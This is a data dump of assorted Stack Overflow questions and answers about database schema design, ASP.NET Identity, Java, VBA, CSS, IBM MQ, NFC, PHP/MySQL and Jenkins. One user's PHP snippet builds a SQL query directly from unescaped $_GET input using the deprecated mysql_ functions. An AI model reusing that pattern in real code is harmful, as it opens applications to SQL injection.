6427893	0	 <p>Ok, you have some serious issues here. Orders have mulitple items, invoices have multiple orders and payments may apply to mulitple orders and invoices. Orders may appear on multiple invoices (if they don't pay right aways which is common).</p> <p>So what you need are linking tables. You should start with an ORDERINVOICE table which has both the order id and the invoice ID. Then an ORDERPAYMENT table with paymentid and Order id. </p> <p>You also need to consider that in an ordering situation, you must record the details of the order as it occurred at the time. That means that while you should have the user_id to link to the current user, you should record the user's name, billing address and shipping addres as it was at the time of the order. You will need this information later to deal with any questions on the order. Further you need to ensure that you store the details of the order in a separate table called ORDERDETAILS which store the indivdual line items, the price at the time of the order and the name of the item ordered. You will need this for accounting reasons. You do not under any cuircumstances want to rely on a join to a product table to figure out the price of an order in the past. This will cause your finanacial records to be inaccurate.</p>
21359209	0	How to pass the asp.Identity object to a second register page <p>I am building a much more advanced registration process which consists of 3 pages, the first page is a form that grabs a username(email form) and a password with confirmation. The button click on this page creates the user in an unverified state in the db and redirects to the page where the profile is created. Once the create profile button is clicked and the profile is created in the db the redirect takes you to the Credit Card info page where the form is filled out, the credit card is verified and then that info is written to a table in the database.</p> <p>I have disabled the loggedin user display in the header so that I can use the registrants First and Last name which arent entered until the Credit Card page. Since the identityUser is required for the sign on and thus to populate the loggedin user control, how can I pass this object from page to page? </p> <p><strong>Code where original template was logging in the user</strong>: (Note:I commented out the sign in code)</p> <pre><code> Protected Sub CreateUser_Click(sender As Object, e As EventArgs) Dim userName As String = UserNameCtrl.Text Dim manager = New UserManager() Dim newuser = New IdentityUser() With {.UserName = userName} manager.UserValidator = New UserValidator(Of IdentityUser)(manager) With {.AllowOnlyAlphanumericUserNames = False} Dim result = manager.Create(newuser, Password.Text) If result.Succeeded Then Session("email") = newuser.UserName Session("userid") = newuser.Id.ToString() 'uncomment the code below if you want the auto sign in to occur 'IdentityHelper.SignIn(manager, newuser, isPersistent:=False) IdentityHelper.RedirectToReturnUrl(Page.ResolveUrl("~/Account/CreateProfile.aspx?Guid=" &amp; newuser.Id.ToString()), Response) Else ErrorMessage.Text = Encoder.HtmlEncode(result.Errors.FirstOrDefault()) End If End Sub </code></pre> <p>I now call this routine to sign in the user once the third page of the registration process is completed. (Session("userid") is the new registrants generated userid)</p> <pre><code> Private Sub SignInUserOnFormCompletion() Dim manager = New UserManager() manager.UserValidator = New UserValidator(Of IdentityUser)(manager) With {.AllowOnlyAlphanumericUserNames = False} Dim newuser = New IdentityUser() With {.Id = Session("userid").ToString()} IdentityHelper.SignIn(manager, newuser, isPersistent:=False) End Sub </code></pre> <p>The problem is the above doesnt work as the newuser somehow has different credentials. How can I pass the original newuser from the first page to the third page where I can use it in the SignInUserOnFormCompletion subroutine? Do I create a cookie and pass it around that way? This is a new topic for me so I'm not familiar with the proper methods to accomplish this.</p>
36301394	0	 <p>you can check if <code>bufferredWriter</code> not equal to null</p> <pre><code>if(bufferredWriter!=null) { bufferredWriter.close(); } </code></pre> <p>If you are using java7 or more then you need not to worry about closing the BufferredWriter </p> <p>JDK 7 onwards you can make you of try with resource </p> <p>for example</p> <pre><code>try(BufferredWriter bufferedWriter=new BufferredWriter()) { //your code } catch(Exception e) { } </code></pre>
6472847	0	 <blockquote> <p>Then I began thinking: wouldn't it be useful if the default value of that business object was a null object instead of a null reference?</p> </blockquote> <p>It sounds like your project would benefit from using an IOC container that could inject a <code>NullBusinessObject</code> instance by default that does whatever you want it to do as default behavior. C# itself doesn't offer anything built in that you could override in this regard.</p>
4367142	0	 <p>yes it is absolutely possible. u need to handle pickerView delegate method </p> <pre><code>- (UIView *)pickerView:(UIPickerView *)pickerView viewForRow:(NSInteger)row forComponent:(NSInteger)component reusingView:(UIView *)view </code></pre> <p>here you simply return custom view(could be anything UIImage UILabel)</p> <p>and set userInteractionEnable property to no for customize view..</p>
8903090	0	 <p>You can get the extensions for all links in a document like this:</p> <pre><code>var endings = []; var links = document.getElementsByTagName("a"); var matches; for (var i = 0; i &lt; links.length; i++) { if (links[i].href) { matches = links[i].href.match(/\.([^\.]+)$/); if (matches) { endings.push(matches[1]); } } } // the array endings contains a list of all link extensions </code></pre> <p>Here's a working version of the code: <a href="http://jsfiddle.net/jfriend00/XHKaT/" rel="nofollow">http://jsfiddle.net/jfriend00/XHKaT/</a></p> <p>The regular expression here matches a period followed by one or more non-period characters at the end of the string. The parenthesized grouping allows us to extra just the extension without the period which accomplishes the result you outlined.</p>
33612787	0	 <p>Try this:</p> <pre><code>Sub Macro1(colindex As Integer) ' ' Macro1 Macro ' 'make our ranges variable and based on the input column Dim range_alpha As Range, range_beta As Range Set range_alpha = ActiveSheet.Range(ActiveSheet.Cells(18, colindex), ActiveSheet.Cells(20, colindex)) Set range_beta = ActiveSheet.Range(ActiveSheet.Cells(18, colindex + 1), ActiveSheet.Cells(20, colindex + 1)) range_alpha.Select range_alpha.Select Selection.Copy range_beta.Select Selection.PasteSpecial Paste:=xlPasteFormulas, Operation:=xlNone, SkipBlanks:=False, Transpose:=False range_beta.Select Application.CutCopyMode = False Selection.Copy range_alpha.Select Selection.PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks:=False, Transpose:=False Range("M18:M20").Select End Sub Sub Macro1_BySelection() '' use this sub to call Macro 1 if you want to select a column first Macro1 Selection.Column End Sub Sub Macro1_ByProbe() '' use this sub to call Macro 1 for the first empty column found Dim tst As String Dim colindex As Integer colindex = 1 tst = ActiveSheet.Cells(18, colindex).Value Do While tst &lt;&gt; "" colindex = colindex + 1 tst = ActiveSheet.Cells(18, colindex).Value Loop Macro1 colindex End Sub Sub Macro1_ByR3uk() Dim LastCol As Integer LastCol = ActiveSheet.Cells(18, ActiveSheet.Columns.Count).End(xlToLeft).Column Macro1 LastCol + 1 End Sub </code></pre> <p>Your initial function has been tweaked to act not on the fixed range of "Lxx" but to accept a number as column index.</p> <p>The two other macro's offer two distinct ways of determining which range to use:</p> <ul> <li><code>Macro1_BySelection()</code> uses the cell that is selected when the macro is called.</li> <li><code>Macro1_ByProbe()</code> tests to find the first empty column.</li> <li>EDIT: I liked R3uk's way of finding the last used column better than mine, used his technique for <code>macro1_ByR3uk()</code> (we learn every day :-) )</li> </ul>
13643742	0	 <p>Look with this post's answer to do it in CSS : <a href="http://stackoverflow.com/questions/2610497/change-an-inputs-html5-placeholder-color-with-css">Change an input&#39;s HTML5 placeholder color with CSS</a></p> <p>Then, you can include the <strong>CSS</strong> rule with <strong>javascript</strong>.</p> <p>And you just have to use pseudo-class <code>:hover</code> for the <em>mouseover</em>.</p> <p>Just like that :</p> <p><strong>CSS</strong></p> <pre><code>input.formInvalid::-webkit-input-placeholder { color: red; } </code></pre> <p><strong>Javascript</strong></p> <pre><code>document.getElementById("yourElementId").className += " formInvalid"; //add the class .formInvalid to your element </code></pre>
23630360	0	 <p><a href="http://docs.oracle.com/cd/B19306_01/server.102/b14200/functions140.htm" rel="nofollow">RPAD</a> should work</p> <pre><code>select RPAD('*', rank, '*') from soldiers; </code></pre> <p>But this kind of formatting is also easily done client-side (if you have an application between you and the database and are not just using an SQL prompt directly).</p>
977317	0	 <p>What you want to do requires two blits: one to mask out the portions of the destination bitmap (using pixelwise AND), and then a second one to pixelwise OR the colors from the overlay onto the destination.</p> <p>Do do this manually, you need to make a monochrome mask from your overlay bitmap, with white in the transparent parts and black in the opaque parts. AND the mask with the destination, then OR the color data from your original overlay.</p> <p><code>screen AND mask OR overlay</code></p> <p>And if this is for full-screen stuff, you may want to do the composition in an off-screen bitmap to avoid flicker.</p> <p>Peter Ruderman's suggestion to use TransparentBlt is probably a good one, though I've never tried it myself.</p>
30154654	0	Eclipse does not recognize static web content under src/main/resources/static <p>I am working on a Spring boot web project. I have an index.html file under <code>src/main/webapp</code>, and a .js file under <code>src/main/resources/static/js</code>.<p> Eclipse is complaining on the <code>&lt;script&gt;&lt;/script&gt;</code> inclusion inside the index.html file: Undefined Javascript file. The above is also the case for css files under <code>src/main/resources/static/css</code>.<p> In addition, I'm using wro to generate unified angularjs-bootstrap js and css files, which are generated under <code>target\generated-resources\static</code> and Eclipse cannot find them either. <p>Is there any way to configure Eclipse to include the above directories?</p>
14068798	0	How to optimize this css code? <p>I am a css newbie. I just draw a basic HTML page with following code:</p> <pre><code>&lt;html&gt; &lt;head&gt; &lt;title&gt;Hey&lt;/title&gt; &lt;link href="style.css" rel="stylesheet" type="text/css"&gt; &lt;/head&gt; &lt;body&gt; &lt;header class="top-menu"&gt;&lt;/header&gt; &lt;div class="container"&gt; &lt;div class="left-side"&gt;&lt;/div&gt; &lt;div class="main-content"&gt;&lt;/div&gt; &lt;/div&gt; &lt;div class="foot"&gt;&lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p>Here is style.css:</p> <pre><code>.top-menu{ position: fixed; top: 0; left: 70px; right: 70px; height: 50px; background-color: #000000; } .container{ margin: 70px 70px 20px 70px; display: inline-block; width: 91%; } .left-side { width: 30ex; min-height: 30ex; float: left; background-color: blue; } .main-content { width: 80ex; float: right; background-color: red; min-height: 100ex; } .foot { background-color: green; height: 5ex; width: 91%; margin-left: 10ex; } </code></pre> <p>The purpose is straightforward.But the css looks crap.even some problems.I want to ask some questions:</p> <p>1.The left and right margin of container is 70px, and the same to top-menu, but from chrome page view,why does it not aligned?</p> <p>2.Why does it appear horizontal scroll bar when I set 'container''s width to 100 percent (same as foot part)?</p> <p>3.If I don't set container's display to 'inline-block', why does the foot part flying to the air? (even I set it to 'block')</p> <p>4.Could you guys give me a better css style code?</p>
39413916	0	JMSCS0002 from Spring JMS and IBM Websphere MQ <p>I've seen a question or two on Stack overflow regarding this error but I'm still unable to solve it, so I thought I would pose my own question.</p> <p>Here's my issue:</p> <p>I'm using Spring and Spring's JMSTemplate to do some messaging and queue work. I'm trying to read from a queue. I'm not 100% positive if my logic is correct in my code, but anytime I try to run my app I am greeted with this exception (I've included only the last section):</p> <pre><code>Caused by: com.ibm.msg.client.commonservices.CSIException: JMSCS0002 at com.ibm.msg.client.commonservices.workqueue.PIWorkQueueManager.enqueueItem(PIWorkQueueManager.java:67) at com.ibm.msg.client.commonservices.workqueue.WorkQueueManager.enqueue(WorkQueueManager.java:225) at com.ibm.msg.client.commonservices.workqueue.WorkQueueManager.enqueue(WorkQueueManager.java:194) at com.ibm.msg.client.wmq.common.internal.WMQThreadPool.enqueue(WMQThreadPool.java:91) </code></pre> <p>Now I'm fairly certain this has nothing to do with my code because no matter how much I change my logic, if I try calling any of the methods made available by <code>JMSTemplate</code>, I receive this exception. After doing some research (based on the other stack overflow answers) I assume it has something to do with the way my classpath is setup. Here is a link to those questions:</p> <p><a href="http://stackoverflow.com/questions/18639212/mqseries-csiexception-jmscs0002-but-classpath-looks-ok-for-commonservices">One</a> and <a href="http://stackoverflow.com/questions/36849774/ibm-mq-ffdc-csiexception-jmscs0002-when-i-try-to-run-from-console">Two</a> </p> <p>In addition to this, here's some info I found on IBM's <a href="http://www.ibm.com/support/knowledgecenter/SSFKSJ_7.1.0/com.ibm.mq.doc/jm10330_.htm" rel="nofollow">site</a>:</p> <blockquote> <p>To compile and run WebSphere MQ classes for JMS applications, use the CLASSPATH setting for your platform as shown in Table 1.</p> <p>CLASSPATH=MQ_INSTALLATION_PATH\java\lib\com.ibm.mqjms.jar; MQ_INSTALLATION_PATH\tools\jms;</p> </blockquote> <p>I have tried this however and It still seems to be failing me. Here's what I have added in my .bat file for my application that I run:</p> <p><code>c:\java\jre6\bin\javaw -cp "C:\ussco\wmsflgint\mqs\mqjms-7.5.0.0.jar; C:\ussco\wmsflgint\mqs\mq-7.5.0.0.jar; C:\ussco\wmsflgint\mqs\headers-1.4.2.jar; C:\ussco\wmsflgint\mqs\jmqi-7.5.0.0.jar;" -Xmx256M ....</code> (there's more on the end but I don't feel it's relevant)</p> <p>Am I not adding this correctly? </p> <p>Thanks</p>
34288499	0	Reading multiple text records from an NFC tag <p>In my application, I have three text fields which are then written to an NFC tag by tapping the Write button. I've followed the Android Developers site to develop this application. And following is the function that writes the data to the tag.</p> <p><strong>Code</strong><br></p> <pre><code>private void write(String uname,String locid,String secid,Tag tag)throws IOException, FormatException{ NdefRecord[] records={NdefRecord.createTextRecord("",uname),NdefRecord.createTextRecord("",locid),NdefRecord.createTextRecord("",secid),NdefRecord.createApplicationRecord("com.testprojects.gcdev")}; NdefMessage message=new NdefMessage(records); Ndef ndef=Ndef.get(tag); ndef.connect(); ndef.writeNdefMessage(message); ndef.close(); } </code></pre> <p>Now I want to read the records from the NFC tag in another activity. Which method should I use to read the content from the tag.</p> <p><strong>Note:</strong> I'm leaving the languageCode part empty in the createTextRecord() method because I don't know what should be passed and in <a href="https://developer.android.com/reference/android/nfc/NdefRecord.html#createTextRecord" rel="nofollow">Android Developer site</a>, it says "If locale is empty or null, the language code of the current default locale will be used." So if you know what languageCode should be passed, do let me know.</p>
35711832	0	 <p>Judging from your quote it seems to me you want to do something like this (<a href="http://sqlfiddle.com/#!9/742b39/1/0" rel="nofollow">SQLfiddle</a>):</p> <pre><code>SELECT m.info1, m.info2, COUNT(DISTINCT CONCAT(m.key1, ' ', m.key2)) key_count, GROUP_CONCAT(DISTINCT CONCAT(m.key1, ' ', m.key2) ORDER BY m.key1, m.key2) key_pairs, COUNT(DISTINCT p.serial) serial_count, GROUP_CONCAT(DISTINCT p.serial ORDER BY p.serial) serials, COUNT(DISTINCT p.product_data) data_count, GROUP_CONCAT(DISTINCT p.product_data ORDER BY p.product_data) product_data FROM main_info m INNER JOIN product1 p ON p.key1 = m.key1 AND p.key2 = m.key2 WHERE p.serial &lt; 10 GROUP BY m.info1, m.info2 </code></pre> <p>Count distinct values and list them, is this correct? You can't just group by info1, info2 and also have columns for key1 or key2 in the result (e.g. min(key1) or max(key2) would work). I adjusted this in the query above, although it is quite different from your result it might be what you actually need, maybe with a few changes.</p>
35297472	0	 <pre><code>static private XmlNode makeXPath(XmlDocument doc, string xpath) { return makeXPath(doc, doc as XmlNode, xpath); } static private XmlNode makeXPath(XmlDocument doc, XmlNode parent, string xpath) { // grab the next node name in the xpath; or return parent if empty string[] partsOfXPath = xpath.Trim('/').Split('/'); string nextNodeInXPath = partsOfXPath.First(); if (string.IsNullOrEmpty(nextNodeInXPath)) return parent; // get or create the node from the name XmlNode node = parent.SelectSingleNode(nextNodeInXPath); if (node == null) node = parent.AppendChild(doc.CreateElement(nextNodeInXPath)); // rejoin the remainder of the array as an xpath expression and recurse string rest = String.Join("/", partsOfXPath.Skip(1).ToArray()); return makeXPath(doc, node, rest); } static void Main(string[] args) { XmlDocument doc = new XmlDocument(); doc.LoadXml("&lt;feed /&gt;"); makeXPath(doc, "/feed/entry/data"); XmlElement contentElement = (XmlElement)makeXPath(doc,"/feed/entry/content"); contentElement.SetAttribute("source", ""); Console.WriteLine(doc.OuterXml); } </code></pre>
21608440	0	 <p>Can't you do:</p> <pre><code>Set typeAMems = errorSet.findAll { it.type == 'A' }.lineNumber Set typeBMems = errorSet.findAll { it.type == 'B' }.lineNumber </code></pre>
38135493	0	 <p>See the <a href="https://wiki.jenkins-ci.org/display/JENKINS/ArtifactDeployer+Plugin" rel="nofollow">ArtifactDeployer Plugin</a>:</p> <blockquote> <p>ArtifactDeployer plugin enables you to archive build artifacts to any remote locations such as to a separate file server.</p> <p>...</p> <p>ArtifactDeployer is a complete alternative to the built-in Jenkins feature "Archiving artefacts' and it is aimed at providing an uniform deployment mechanism.</p> </blockquote> <p>Add it to your project's config with <em><strong>Post-build Actions</strong></em> → <kbd><em>Add post-build action</em></kbd> → <em>[ArtifactDeployer] - Deploy the artifacts from build workspace to remote locations</em>.</p> <p>or the <a href="https://wiki.jenkins-ci.org/display/JENKINS/Flexible+Publish+Plugin" rel="nofollow">Flexible Publish Plugin</a>:</p> <blockquote> <pre><code>... [Send build artifacts over SSH] ... </code></pre> </blockquote> <p>Add it to your project's config with <em><strong>Post-build Actions</strong></em> → <kbd><em>Add post-build action</em></kbd> → <em>Flexible publish</em>.</p> <p>or an idea I haven't tried myself yet, so no guarantees:</p> <p>Configure your live server to be Jenkins slave node, create a project that is bound to this slave and use the <a href="https://wiki.jenkins-ci.org/display/JENKINS/Copy+Artifact+Plugin" rel="nofollow">Copy Artifact Plugin</a> therein:</p> <blockquote> <p>Adds a build step to copy artifacts from another project.</p> </blockquote> <p>Add it to this project's config with <em><strong>Build</strong></em> → <kbd><em>Add build step</em></kbd> → <em>Copy artifacts from another project</em>.</p>
15269010	0	SELECT * from 2 different non related tables in PHP/MySQL <p>I have the following code...</p> <pre><code>&lt;?php $sql = "SELECT tickets.company, tickets.datetime, tickets.ticketnumber, customer_notes.customer, customer_notes.timestamp, customer_notes.notes FROM tickets, customer_notes WHERE tickets.company = '".$_GET["seq"]."' AND customer_notes.customer = '".$_GET["seq"]."' GROUP BY customer_notes.customer, tickets.company "; $rs=mysql_query($sql,$conn) or die(mysql_error()); echo '&lt;table width="100%" border="0" cellspacing="5" cellpadding="5"&gt;'; while($result=mysql_fetch_array($rs)) { echo '&lt;tr&gt; &lt;td&gt;'.$result["timestamp"].'&lt;/td&gt; &lt;td&gt;'.$result["notes"].'&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;'.$result["datetime"].'&lt;/td&gt; &lt;td&gt;'.$result["ticketnumber"].'&lt;/td&gt; &lt;/tr&gt;'; } echo '&lt;/table&gt;'; ?&gt; </code></pre> <p>The tickets table and customer_notes table have no reference at all - they are totally separate.</p> <p>The tickets table is for support ticket when customer log issues they are having and then the customer_notes table is for when customers phone up, everything that is spoken about over the phone is logged in this table.</p> <p>I am trying to make it display data from the tickets table and the customer notes table in datetime order.</p> <p>so if a ticket was created, then a note added, then another note added, then a ticket they will display in datetime order using the above code however it is not displaying it correctly</p>
38255539	0	PHP microtime - microseconds format <p>If PHP's <code>microtime()</code> function were to be executed at a point in time where the resulting microseconds are <strong>zero</strong>, what format does it result in?</p> <p><strong>Would it look like this?</strong></p> <p><code>0.00 1467926279?</code></p> <p><strong>Or this?</strong></p> <p><code>0 1467926279</code></p> <p><a href="http://php.net/manual/en/function.microtime.php" rel="nofollow">The manual</a> doesn't provide a numerical format, just it's format in English: </p> <blockquote> <p>By default, microtime() returns a string in the form "msec sec"</p> </blockquote>
603864	0	 <p>Multicast traffic is no different than regular UDP except for the IP address. Take a look at the standard <a href="http://docs.python.org/library/socket.html" rel="nofollow noreferrer">socket library</a>. You may be able to find something that builds on socket and is easier to use.</p>
17524030	0	 <p>here is very simple solution with a short css display:table</p> <pre><code>&lt;div id="main" class="_dt-no-rows"&gt; &lt;div id="aside" contenteditable="true"&gt; Aside &lt;br&gt; Here's the aside content &lt;/div&gt; &lt;div id="content" contenteditable="true"&gt; Content &lt;br&gt; geht's pellentesque wurscht elementum semper tellus s'guelt Pfourtz !. gal hopla &lt;br&gt; TIP : Just clic on this block to add/remove some text &lt;/div&gt; &lt;/div&gt; </code></pre> <p>here is css</p> <pre><code>#main { display: table; width: 100%; } #aside, #content { display: table-cell; padding: 5px; } #aside { background: none repeat scroll 0 0 #333333; width: 250px; } #content { background: none repeat scroll 0 0 #E69B00; } </code></pre> <p>its look like this </p> <p><img src="https://i.stack.imgur.com/eBmDK.png" alt="enter image description here"></p>
10107942	0	 <p>Instead of <code>bzero</code>, you can just use</p> <pre><code>memset(buf, 0, 1025); </code></pre>
965705	0	 <p>Rather than hacking something up yourself, how about checking out the <a href="http://cherne.net/brian/resources/jquery.hoverIntent.html" rel="nofollow noreferrer">hoverIntent plugin</a>? </p>
8929512	0	Why is this Ajax conditional dialog not working? <p>Why is this code not working?</p> <p>In the meantime (trying to make it work) i have changed it a dosen time, but i can't find the solution.</p> <p>Anyone has an idea? I have no errors in console.</p> <p>First of all, it check's if a dialog needs to be opened.</p> <p>This is the workflow:</p> <p>If DialogRequired => Dialog.Click = OK --> execute an ajax call If DialogRequired => Dialog.Click = Cancel --> do nothing If Dialog NOT Required => execute an ajax call</p> <pre><code>$(function () { $("a.orderlink").unbind(); $("a.orderlink").bind("click", function () { var ProductID = $(this).parent().attr("data-productid"); var Ammount = $(this).parent().parent().find("input#ammount").val(); $.ajax({ type: "post", url: $(this).attr("href").replace("AddToCart", "ExistsInCart"), data: { ProductId: $(this).parent().attr("data-productid") }, succes: function (data) { if (data == 1) { $("#ProductExistsInOrder").dialog({ autoOpen: true, height: 170, width: 400, modal: true, buttons: { "OK": function () { /*acties om toe te voegen $.ajax()*/ $.ajax({ type: "post", url: $(this).attr("href"), data: { ProductId: ProductID, Ammount: Ammount }, succes: function () { $("#AddProductNotification").text("U heeft net een product toegevoegd. Herlaad de pagina om uw winkelwagentje te bekijken"); } }); setTimeout("location.reload(true);", 100); $(this).dialog("close"); location.reload(true); // return false; }, "Annuleer": function () { $(this).dialog("close"); // return false; } } }); } else { $.ajax({ type: "post", url: $(this).attr("href"), data: { ProductId: ProductID, Ammount: Ammount }, succes: function () { $("#AddProductNotification").text("U heeft net een product toegevoegd. Herlaad de pagina om uw winkelwagentje te bekijken"); } }); }; // $("#AddProductNotification").text("U heeft net een product toegevoegd. Herlaad de pagina om uw winkelwagentje te bekijken"); }, error: function (XMLHeeptRequest, textStatus, errorThrown) { alert(textStatus); alert(errorThrown); } }); // alert("end"); // AddToCart(this); return false; }); // return false; }); // ProductId: $(orderlinkObject).parent().attr("data-productid"), Ammount: $(orderlinkObject).parent().parent().find("input#ammount").val() </code></pre> <p></p> <p>This is how it goes:</p> <ul> <li>Gets called (=ok) : /Cart/ExistsInCart with parameter: product ID and returns true in jSon</li> <li>But the dialog isn't called and i can't seem to update it with firebug.</li> </ul>
20120845	0	Unity - Share Intent <p>We are developing an app in which after taking a screenshot users will be able to share it on social networks, (Facebook, Twitter, Instagram,.. etc). </p> <p>We want to create an Intent, that displays the social installed apps in the device in order to choose one of them and post the picture.</p> <p>We readed this:</p> <p><a href="http://developer.android.com/training/sharing/send.html#send-binary-content" rel="nofollow">http://developer.android.com/training/sharing/send.html#send-binary-content</a> <a href="http://forum.unity3d.com/threads/160723-Android-Intent-problem" rel="nofollow">http://forum.unity3d.com/threads/160723-Android-Intent-problem</a></p> <p>But we need some help. Does anyone achieve sharing data using this way in Unity? Are there any pluguin to do that? (Android, or Android&amp;iOS).</p> <p>If someone could share his experience about this, all the information will be very appreciated.</p> <p>Thanks.</p>
15633593	0	 <p>you can go to the end of the line with TAB. </p> <p>Write "this.d", type TAB complete to </p> <pre><code>this.doSomething </code></pre> <p>type "(" obtain </p> <pre><code>this.doSomething() </code></pre> <p>then write "someS" and TAB complete to </p> <pre><code>this.doSomething(someString) </code></pre> <p>cursor is between "g" and ")". Type TAB again and cursor go after ")". Complete with ";"</p> <pre><code>this.doSomething(someString); </code></pre> <p>So, you have type "this.d TAB (someS TAB TAB ;"</p> <p>There is no way to do what you exactly want, but with TAB you can save much typing.</p>
33239992	0	 <p>You didnt close the image tag. use it like this</p> <pre><code>echo '&lt;img height="300" width="300" src="data:image;base64,'.$row['image'].'" /&gt;'; </code></pre>
32707593	0	 <p>You need to use <code>clearInterval</code></p> <pre><code>var timer = setInterval(function,10000); .... .... clearInterval(timer); </code></pre>
37559462	0	 <p>Another way to do it simpler using jquery.</p> <p>sample: </p> <pre><code>function add(product_id){ // the code to add the product //updating the div, here I just change the text inside the div. //You can do anything with jquery, like change style, border etc. $("#added_"+product_id).html('the product was added to list'); } </code></pre> <p>Where product_id is the javascript var and$("#added_"+product_id) is a div id concatenated with product_id, the var from function add. </p> <p>Best Regards!</p>
14768438	0	 <p>Sure you can create a slot that is connected to a "double click" signal and call your model instance <em>setHeaderData</em> //if you overridden that function in your own model type you need to emit headerDataChanged signal, see <a href="http://doc.qt.digia.com/qt/qabstractitemmodel.html#setHeaderData" rel="nofollow">here</a></p>
8874998	0	 <p>Generally what I would do in your situation is try to just get the plain text our of your HTML and then do the search. This could probably be accomplished with the HtmlAgilityPack, but there is also <a href="http://www.codeproject.com/KB/HTML/HTML_to_Plain_Text.aspx" rel="nofollow">a CodeProject project</a> that does exactly this with a bunch of ugly RegEx searches. I haven't used it so I don't know if it will fix breaks in new lines in the HTML but it might be worth a shot.</p>
7877699	0	how twitter changed the get question mark on the url <p>i wonder how twitter did their URL like this</p> <blockquote> <p><a href="https://twitter.com/#!/twitter" rel="nofollow">https://twitter.com/#!/twitter</a></p> </blockquote> <p>is it a unique method via ruby or it's something i can do with .htaccess and php because as far as i know this # sign is used to send user to a certain block on the page</p> <p>also is it possible to use other tags for example &amp; or % or $ etc.</p> <p>thanks in advance </p>
8373400	0	 <p>The code should be like the following:</p> <pre><code>$columns = array(/*Data*/); $columns1 = array(/*Data1*/); echo json_encode(array($columns,$columns1)); </code></pre> <p>in jQuery use</p> <pre><code>var columns_array=jQuery.parseJSON(response); columns=columns_array[0]; columns1=columns_array[1]; </code></pre>
15866199	0	C standard: L prefix and octal/hexadecimal escape sequences <p>I didn't find an explanation in the C standard how do aforementioned escape sequences in wide strings are processed.</p> <p>For example:</p> <pre><code>wchar_t *txt1 = L"\x03A9"; wchar_t *txt2 = L"\xA9\x03"; </code></pre> <p>Are these somehow processed (like prefixing each byte with \x00 byte) or stored in memory exactly the same way as they are declared here?</p> <p>Also, how does L prefix operate according to the standard?</p> <p><strong>EDIT:</strong></p> <p>Let's consider txt2. How it would be stored in memory? \xA9\x00\x03\x00 or \xA9\x03 as it was written? Same goes to \x03A9. Would this be considered as a wide character or as 2 separate bytes which would be made into two wide characters?</p> <p><strong>EDIT2:</strong></p> <p>Standard says:</p> <p>The hexadecimal digits that follow the backslash and the letter x in a hexadecimal escape sequence are taken to be part of the construction of a single character for an integer character constant or of a single wide character for a wide character constant. The numerical value of the hexadecimal integer so formed specifies the value of the desired character or wide character.</p> <p>Now, we have a char literal:</p> <pre><code>wchar_t txt = L'\xFE\xFF'; </code></pre> <p>It consists of 2 hex escape sequences, therefore it should be treated as two wide characters. If these are two wide characters they can't fit into one wchar_t space (yet it compiles in MSVC) and in my case this sequence is treated as the following:</p> <pre><code>wchar_t foo = L'\xFFFE'; </code></pre> <p>which is the only hex escape sequence and therefore the only wide char.</p> <p><strong>EDIT3:</strong></p> <p>Conclusions: each oct/hex sequence is treated as a separate value ( wchar_t *txt2 = L"\xA9\x03"; consists of 3 elements). wchar_t txt = L'\xFE\xFF'; is not portable - implementation defined feature, one should use wchar_t txt = L'\xFFFE';</p>
18488423	0	 <p>Something like this may do the trick</p> <pre><code>NHSession.QueryOver&lt;Customer&gt;() .Where( Restrictions.Eq( Projections.SqlFunction("length", NHibernateUtil.String, Projections.Property&lt;Customer&gt;(x =&gt; x.RegistryCode)), 8 ) ) </code></pre>
24361668	0	 <p>Your script filter is slow on big data and doesn't use benefits of "indexing". Did you think about parent/child instead of nested? If you use parent/child - you could use aggregations natively and use calculate sum.</p>
24756185	0	 <p>Set Perl to paragraph mode, prepend <code>\</code> to newlines:</p> <pre><code>perl -p00le 's/\n/ \\\n/g' </code></pre> <p>Output:</p> <pre><code>aa bb \ ccc aa \ bb \ abc def \ gh </code></pre> <p>This takes advantage of some <a href="http://perldoc.perl.org/perlrun.html" rel="nofollow">Perl flags</a>:</p> <blockquote> <p><strong>-00</strong> The special value 00 will cause Perl to slurp files in paragraph mode.</p> <p><strong>-l</strong> enables automatic line-ending processing. It has two separate effects. First, it automatically chomps $/ (the input record separator) when used with -n or -p. Second, it assigns $\ (the output record separator) to have the value of octnum so that any print statements will have that separator added back on.</p> </blockquote> <p>Here is what Deparse makes of it:</p> <pre><code>perl -MO=Deparse -p00le 's/\n/ \\\n/g' BEGIN { $/ = ""; $\ = "\n\n"; } LINE: while (defined($_ = &lt;ARGV&gt;)) { chomp $_; s/\n/ \\\n/g; } continue { print $_; } </code></pre>
39681801	0	 <p>you can add a helper method <code>get</code> to your class:</p> <pre><code>... A &lt;- R6::R6Class( "A", private = list( private_print = function(){print("Ola")} ), public = list( get = function(name=NULL){ # recursion if( length(name)&gt;1 ){ tmp &lt;- lapply(name, self$get) names(tmp) &lt;- name return(tmp) } if(is.null(name)){ self$message("no input, returning NULL") return(NULL) } # self if(name=="self"){ return(self) } # in self if( name %in% names(self) ){ return(base::get(name, envir=self)) } # private or in private if( exists("private") ){ if(name=="private"){ return(private) }else if(name %in% names(private) ){ return(base::get(name, envir=private)) } } # else self$message("name not found") return(NULL) } ) ) ... </code></pre> <p>Than use it like this:</p> <pre><code>a &lt;- A$new() a$get("private_print")() ## [1] "Ola" </code></pre>
28435017	0	 <p>Why not use the shorthand method .click? </p> <p><a href="http://api.jquery.com/click/" rel="nofollow">http://api.jquery.com/click/</a></p> <p>Then, try the following:</p> <pre><code>$(".showornot", $(this).parent()).slideToggle(400); </code></pre> <p>Working proof: <a href="http://jsfiddle.net/dg2z67hx/3/" rel="nofollow">http://jsfiddle.net/dg2z67hx/3/</a></p> <p>What I am doing in this fiddle is selecting the element with the class .showornot INSIDE the button's parent element.</p> <p>Please note that <strong>you are missing a starting div tag from the code you posted</strong>, I presume it's the one classed as 'network-container', that makes it a little harder for people to answer.</p>
12534273	0	 <p>Typing javac at the command line is not a viable or scalable way to build java code. While you could use -cp to javac to add the required dependencies to this compilation, you'd be far better served by learning ant or maven.</p>
16383856	0	 <p>You should try a later dtrace release. I believe this was fixed - the stack walk code had to keep on being rewritten due to erraticness of compilers, distros and 32 vs 64 bit kernels.</p>
